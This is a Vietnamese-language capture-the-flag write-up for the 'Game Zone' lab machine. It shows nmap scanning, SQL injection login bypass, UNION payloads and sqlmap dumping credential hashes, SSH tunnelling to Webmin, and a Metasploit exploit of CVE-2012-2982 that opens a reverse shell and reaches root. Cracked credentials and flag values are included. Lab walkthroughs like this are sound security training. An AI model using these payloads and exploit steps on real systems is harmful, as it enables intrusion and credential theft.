Game Zone
Learn to hack into this machine. Understand how to use SQLMap, crack some passwords, reveal services using a reverse SSH tunnel and escalate your privileges to root!
Initial Reconnaissance
Service Scanning
$ sudo nmap -A 10.201.67.62
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:ea:89:f1:d4:a7:dc:a5:50:f7:6d:89:c3:af:0b:03 (RSA)
| 256 b3:7d:72:46:1e:d3:41:b6:6a:91:15:16:c9:4a:a5:fa (ECDSA)
|_ 256 53:67:09:dc:ff:fb:3a:3e:fb:fe:cf:d8:6d:41:27:ab (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Game Zone
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.4
OS details: Linux 4.4
Network Distance: 5 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelKhi chạy nmap, chúng ta thấy có 2 service đang chạy là SSH và HTTP. Các phiên bản có vẻ không có lỗ hổng công khai mà chúng ta có thể khai thác. Thêm vào đó, hệ điều hành được xác định là Ubuntu.
HTTP 80

SQL Injection to Authenticate

Khi thử khai thác SQL Injection trên trang login, chúng ta đã bypass được bước xác thực thành công.

SQL Injection to Dump User’s Information (Manually)
Ô tìm kiếm trên trang cũng dễ bị SQL Injection, và chúng ta xác định được DBMS là MySQL.


Chúng ta phát hiện query hiện tại sử dụng 3 cột, và thông qua một union attack, chúng ta trích xuất được thông tin về phiên bản database bằng version().

Sau đó, chúng ta tiếp tục dump các table trong database hiện tại:
' or 1=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())-- -
Tiếp theo, chúng ta liệt kê tất cả tên cột trong database hiện tại.
' or 1=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database())-- -
Sau đó, chúng ta tiến hành dump dữ liệu các username và password.
' or 1=1 union select 1,2,(select group_concat(concat(username, ':', pwd) separator '\n') from users)-- -
agent47:ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14Sau khi lấy được các password hash, chúng ta có thể đem đi crack bằng một công cụ online để thu lại password ở dạng plain-text.

We successfully discover a set of credentials:
agent47:videogamer124SQL Injection to Dump User’s Information (SQLMap)
Thay vì phải khai thác SQL Injection thủ công, chúng ta có thể dùng sqlmap để tự động hóa toàn bộ quá trình này. Trước tiên, chúng ta capture HTTP request khi tìm kiếm trong search box bằng Burp Suite.
$ cat request.txt
POST /portal.php HTTP/1.1
Host: 10.201.67.62
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://10.201.67.62
Connection: keep-alive
Referer: http://10.201.67.62/portal.php
Cookie: PHPSESSID=diul7hhkqom4t4pvfua85nfkq4-
Upgrade-Insecure-Requests: 1
Priority: u=0, i
searchitem=TEST
$ sqlmap -r request.txt --dbms=mysql --dump
Shell as agent47
Bây giờ, chúng ta SSH vào máy với tài khoản của user agent47.

user.txt
agent47@gamezone:~$ pwd
/home/agent47
agent47@gamezone:~$ ls -la
total 28
drwxr-xr-x 3 agent47 agent47 4096 Aug 16 2019 .
drwxr-xr-x 3 root root 4096 Aug 14 2019 ..
lrwxrwxrwx 1 root root 9 Aug 16 2019 .bash_history -> /dev/null
-rw-r--r-- 1 agent47 agent47 220 Aug 14 2019 .bash_logout
-rw-r--r-- 1 agent47 agent47 3771 Aug 14 2019 .bashrc
drwx------ 2 agent47 agent47 4096 Aug 16 2019 .cache
-rw-r--r-- 1 agent47 agent47 655 Aug 14 2019 .profile
-rw-rw-r-- 1 agent47 agent47 33 Aug 16 2019 user.txt
agent47@gamezone:~$ cat user.txt
649ac17b1480ac13ef1e4fa579dac95cExposing Local Services (SSH Tunneling)

Mặc dù port 10000 có vẻ được mở public, nhưng khi thử kết nối trực tiếp từ máy của chúng ta thì không thành công.
$ nc 10.201.67.62 10000
(UNKNOWN) [10.201.67.62] 10000 (webmin) : Connection refused$ sudo nmap -Pn -p 10000 -v 10.201.67.62
PORT STATE SERVICE
10000/tcp closed snet-sensor-mgmtRất có thể firewall rule đang chặn kết nối. Để giải quyết, chúng ta có thể expose port về máy local bằng kỹ thuật gọi là Tunneling, cụ thể ở đây chúng ta thực hiện SSH Tunneling.
$ ssh -L localhost:10000:localhost:10000 agent47@10.201.67.62
agent47@10.201.67.62's password:Sau khi thiết lập xong tunnel, chúng ta có thể chạy lại Nmap để scan port được forward.
$ sudo nmap -p 10000 -sV -sC localhost
PORT STATE SERVICE VERSION
10000/tcp open http MiniServ 1.580 (Webmin httpd)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Login to WebminHTTP 10000
Kết quả cho thấy port 10000 đang chạy HTTP và phục vụ Webmin, một chương trình giúp đơn giản hóa việc quản lý hệ thống Linux hoặc Unix.

Chúng ta có thể đăng nhập bằng credentials của agent47 và phát hiện trang System Information tiết lộ phiên bản Webmin là 1.580.

Sau khi tra cứu nhanh trong Metasploit, chúng ta biết rằng phiên bản 1.580 tồn tại lỗ hổng Remote Code Execution (RCE) với mã CVE là CVE-2012-2982.

Exploit này đã được viết sẵn thành một module trong Metasploit, nên chúng ta chuyển sang sử dụng Metasploit.
Shell as root (Metasploit)
msf6 > search webmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution
1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure
2 exploit/linux/http/webmin_file_manager_rce 2022-02-26 excellent Yes Webmin File Manager RCE
3 exploit/linux/http/webmin_package_updates_rce 2022-07-26 excellent Yes Webmin Package Updates RCE
4 \_ target: Unix In-Memory . . . .
5 \_ target: Linux Dropper (x86 & x64) . . . .
6 \_ target: Linux Dropper (ARM64) . . . .
7 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution
8 exploit/unix/webapp/webmin_upload_exec 2019-01-17 excellent Yes Webmin Upload Authenticated RCE
9 auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal No Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
10 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
11 \_ target: Automatic (Unix In-Memory) . . . .
12 \_ target: Automatic (Linux Dropper) . . . .
Interact with a module by name or index. For example info 12, use 12 or use exploit/linux/http/webmin_backdoor
After interacting with a module you can manually set a TARGET with set TARGET 'Automatic (Linux Dropper)'
msf6 > use 0
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > options
Module options (exploit/unix/webapp/webmin_show_cgi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, ht
tp
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 10000 yes The target port (TCP)
SSL true yes Use SSL
USERNAME yes Webmin Username
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Webmin 1.580
View the full module info with the info, or info -d command.Chúng ta load module tương ứng với lỗ hổng Webmin 1.580, sau đó cấu hình đầy đủ các tham số cần thiết như ở dưới rồi tiến hành chạy exploit.
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set rhosts localhost
rhosts => localhost
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set username agent47
username => agent47
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set password videogamer124
password => videogamer124
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set lhost tun0
lhost => 10.17.21.52
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set lport 4242
lport => 4242
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > set ssl false
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > run
[*] Exploiting target 127.0.0.1
[*] Started reverse TCP double handler on 10.17.21.52:4242
[*] Attempting to login...
[+] Authentication successful
...
...
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.17.21.52:4242 -> 10.201.67.62:55736 (127.0.0.1)
2 shell cmd/unix 10.17.21.52:4242 -> 10.201.67.62:55750 (::1)
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > sessions 1
[*] Starting interaction with 1...
id
uid=0(root) gid=0(root) groups=0(root)Khi exploit được thực thi thành công, chúng ta chiếm được quyền root trên hệ thống.
root.txt
cd /root
ls -la
total 24
drwx------ 3 root root 4096 Aug 16 2019 .
drwxr-xr-x 23 root root 4096 Aug 16 2019 ..
lrwxrwxrwx 1 root root 9 Aug 16 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 Aug 16 2019 .cache
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 33 Aug 16 2019 root.txt
cat root.txt
a4b945830144bdd71908d12d902adeeeShell as root (Without Metasploit)
Ngoài Metasploit module ở trên, chúng ta còn có thể sử dụng exploit được viết bởi John Hammond tại đây:

Chúng ta chạy command để tạo một reverse shell connection về máy, từ đó chiếm được quyền root.
